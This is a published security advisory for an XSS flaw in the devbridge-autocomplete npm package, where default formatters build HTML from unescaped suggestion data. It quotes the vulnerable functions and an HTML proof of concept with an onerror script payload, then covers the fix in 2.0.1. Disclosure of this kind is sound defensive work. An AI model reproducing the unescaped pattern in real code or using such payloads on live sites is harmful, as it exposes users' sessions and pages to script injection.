Advisory

GHSA-hvqh-jw65-wcpq

Also known as: None

Summary

devbridge-autocomplete has XSS in its default formatters: formatGroup and formatResult fail to escape HTML in untrusted inputs

Details

Summary

The default formatGroup and formatResult functions in devbridge-autocomplete concatenate values into HTML without escaping, allowing XSS when an attacker controls (or can taint) the suggestion data source.

Details

1. `formatGroup` — `category` is interpolated raw.

src/format.ts:

function formatGroup(suggestion, category) {
    return '<div class="autocomplete-group">' + category + '</div>';
}

If groupBy is used and the grouping field of any suggestion contains HTML, that HTML is executed.

2. `formatResult` — early-return branch returns `suggestion.value` raw.

src/format.ts:

function formatResult(suggestion, currentValue) {
    if (!currentValue) {
        return suggestion.value;   // un-escaped
    }
    /* ... non-empty path escapes correctly ... */
}

The early-return branch is reached when suggest() renders with an empty currentValue, which happens with minChars: 0 and a server that returns suggestions for an empty query. The returned string is concatenated into the container's innerHTML.

PoC (formatGroup)

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>PoC: formatGroup XSS in jQuery-Autocomplete v2.0.0</title>
</head>
<body>
    <input id="ac" type="text" placeholder="Type 'a' to trigger" autocomplete="off">

    <script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
    <script src="dist/jquery.autocomplete.js"></script>
    <script>
        var poisoned = [
            { value: 'Apple',   data: { category: "<img src=x onerror=\"alert('XSS via formatGroup')\">" } },
            { value: 'Avocado', data: { category: 'Safe Group' } }
        ];

        $('#ac').devbridgeAutocomplete({
            lookup: poisoned,
            groupBy: 'category',
            minChars: 1
        });
    </script>
</body>
</html>

Originally identified by an earlier human analysis; the PoC above was produced with the assistance of Claude Opus 4.7.

Impact

XSS in pages that render attacker-controllable suggestion data. The actual impact depends on what the embedding page has access to (cookies, session tokens, DOM), per standard reflected/stored XSS.

Patch

Both formatters now run their interpolated input through the browser's text-node escaping (createElement + textContent) before producing the HTML string. Fixed in version 2.0.1.

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2026-06-22 23:00 UTC
Modified
2026-06-22 23:15 UTC

Affected packages and fixes

devbridge-autocomplete

npm · All systems

Affected

  • introduced 0, fixed 2.0.1 (semver)

Fixed versions

2.0.1

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences